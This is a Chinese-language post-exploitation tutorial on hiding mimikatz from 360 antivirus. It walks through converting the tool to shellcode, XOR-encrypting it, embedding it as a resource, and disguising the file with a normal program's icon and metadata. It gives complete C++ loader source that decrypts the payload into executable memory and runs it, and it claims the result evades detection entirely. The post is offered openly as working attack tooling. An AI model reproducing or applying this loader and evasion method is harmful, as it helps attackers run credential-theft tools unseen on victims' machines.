前言
在我们后渗透时很多时候需要使用到一些敏感的工具,而这些工具大多都被360等杀软厂商标记。导致我们传入的工具无法执行或执行时被拦截。
接下来以测试工具mimitakz为例演示如何绕过这些杀软拦截,躲避查杀等。以下为具体开发细节,
程序执行时杀软拦截
360
静态查杀
何为"静态查杀"正规点叫文件实时监控,也就是在粘贴复制、下载文件落地到电脑时的一步监控行为。文件落入电脑瞬间杀软会进行检测,如果为恶意文件它会替你删掉或提醒你这是一个恶意文件。
在这一步只有两点,在沙箱模拟运行、匹配软件特征。
根据这个特征的思路,我们只需要做一件事。让我们的工具变得面目全非
使用一个很好用的工具pe2shc:https://github.com/hasherezade/pe_to_shellcode/releases/tag/v1.2
这个工具可以将任意一个dll或exe转换成shellcode同时不影响双击运行。
加密
验证静态查杀
扫描一下可以发现360在静态情况下不认识了
尝试运行
虽然静态过了,但是在运行时依然被识别到
动态查杀
"动态查杀",文件运行时或即将运行时的监控行为。这个监控的原理等比较复杂,它可以基于任何一点。如调用敏感api、内存存在特定字符串或基于打分制等等都可以成为一个查杀的点
既然静态已过,那么我们尝试动态将我们工具执行起来。
二次加密
使用pe2shc加密后,再来一层加密。使用010editor等十六进制查看工具将字节异或加密
加密保存为.bin文件
将.bin文件藏在软件资源内
之后他就会在我们的项目资源中了
加载器
以上的工作做完之后我们还需要做一个加载器
加载器,顾名思义。载入一段东西到特定的地方
在这里我们要做的就是将加密后的exe文件变成一段shellcode然后加载进内存并执行起来
具体实现:
使用c++代码做个shellloader
// shellLoader.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <windows.h>
#include <stdio.h>
#include "resource.h"
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
int main()
{
HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_BIN11), L"BIN1"); //寻找资源内指定文件,获得句柄
DWORD Size = SizeofResource(NULL, Res); //计算资源大小
HGLOBAL Load = LoadResource(NULL, Res); //加载资源
LPSTR buffer = (LPSTR)VirtualAlloc(0, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //申请虚拟内存
memcpy(buffer, Load, Size); //将指定资源拷贝到内存中
for (size_t i = 0; i < Size; i++) //将字节逐一异或解密
{
buffer[i] ^= 0x23;
}
((void(*)())buffer)(); //指针指向内存运行
}
这样我们的加载器就做好了:
锦上添花
因为压根不知道会因为什么而被查杀,所以再增加一些保障。尽量让这个文件就像是一个"正常的软件"
再使用一个工具:Resource Hacker
将我们的shellloader拖入
选择一个正常的系统文件或其他正常的文件导入并保存
导入之前的效果:
导入之后的效果:
执行
联网状态静态未被查杀
扫描文件
执行文件
正常执行且可以使用任何功能,即已免杀
结尾
该方式是其中一种处理方式,实际还有很多,例如加壳、花指令、虚拟机对抗、抹去特征等等......
最终的目的只是让杀软不认识,无法识别。
这个方法在360适用,在火绒可能就会被杀的厉害。还是需要根据实际情况去做相应的处理。